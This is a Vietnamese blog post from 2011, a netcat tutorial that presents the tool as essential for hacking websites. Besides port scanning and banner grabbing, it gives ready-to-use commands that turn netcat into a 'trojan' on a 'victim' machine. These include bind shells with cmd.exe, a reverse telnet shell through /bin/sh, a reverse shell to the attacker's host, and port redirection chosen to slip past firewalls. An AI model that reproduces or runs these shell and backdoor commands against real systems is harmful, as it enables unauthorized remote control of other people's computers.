Hướng dẫn sử dụng Netcat
Posted by
hackerbinhminh
| Sunday, March 20, 2011 at 8:16 PM
0
comments
1. Giới thiệu
Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcat;)
2. Biên dịch
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
3. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
C:\>nc -h |
* Cú pháp:
- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
* Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
4. Các ví dụ:
4.1 Chộp banner của web server
Ví dụ: nc đến 172.16.84.2, cổng 80
C:\>nc 172.16.84.2 80 |
Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa)
C:\>nc -vv 172.16.84.1 80 |
Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80 |
- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK. |
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
4.2 Quét cổng
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500 |
- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500 |
4.3 Biến Netcat thành một trojan
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:
E:\>nc -nvv -l -p 8080 -e cmd.exe |
- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:\>nc -nvv 172.16.84.2 8080 |
Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.
E:\>nc -nvv -L -p 8080 -e cmd.exe |
- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:
netstat -a |
- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
5. Kĩ thuật tiên tiến
5.1 Telnet nghịch chuuyển
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cửa sổ Netcat (1)
C:\>nc -nvv -l -p 80 |
+ cửa sổ Netcat (2)
C:\>nc -nvv -l -p 25 |
- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 |
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).
Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.
5.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn:
C:\>nc -nvv -l -p 80 |
- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:
E:\>nc -e cmd.exe 172.16.84.1 80 |
Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.
C:\>nc -nvv -l -p 80 |
5.3 Đổi hướng cổng
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:
- chạy nc trên cổng bất kì:
E:\>nc -nvv -L -p 1234 -e cmd.exe |
- chạy tunnel hoặc fpipe để đổi hướng cổng
C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234 |
C:\>fpipe -l 53 -r 1234 127.0.0.1 |
tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.
Đổi hướng cổng là một cách để đi vòng qua firewalls.
6. Kết luận:
Netcat rất tuyệt!
Subscribe to:
Post Comments (Atom)